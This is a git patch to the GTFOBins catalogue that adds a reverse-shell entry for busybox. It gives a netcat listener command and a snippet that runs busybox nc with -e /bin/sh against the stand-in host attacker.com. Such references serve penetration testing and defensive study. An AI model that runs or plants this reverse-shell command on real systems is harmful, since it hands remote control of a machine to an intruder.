From a5a1f86b97e1b1371c407a50663b214fe4f28b7b Mon Sep 17 00:00:00 2001 From: astor9 <20415197+astor9@users.noreply.github.com> Date: Sat, 23 Dec 2023 13:03:05 +0100 Subject: [PATCH] Added reverse shell functionality to busybox if "busybox nc" is available Co-authored-by: Andrea Cardaci --- _gtfobins/busybox.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/_gtfobins/busybox.md b/_gtfobins/busybox.md index 1893a7f..e90d03a 100644 --- a/_gtfobins/busybox.md +++ b/_gtfobins/busybox.md @@ -21,4 +21,10 @@ functions: code: "./busybox sh" sudo: - code: sudo busybox sh + reverse-shell: + - description: Run `nc -lvp 12345` on the attacker box to receive the shell. + code: | + RHOST=attacker.com + RPORT=12345 + busybox nc -e /bin/sh $RHOST $RPORT ---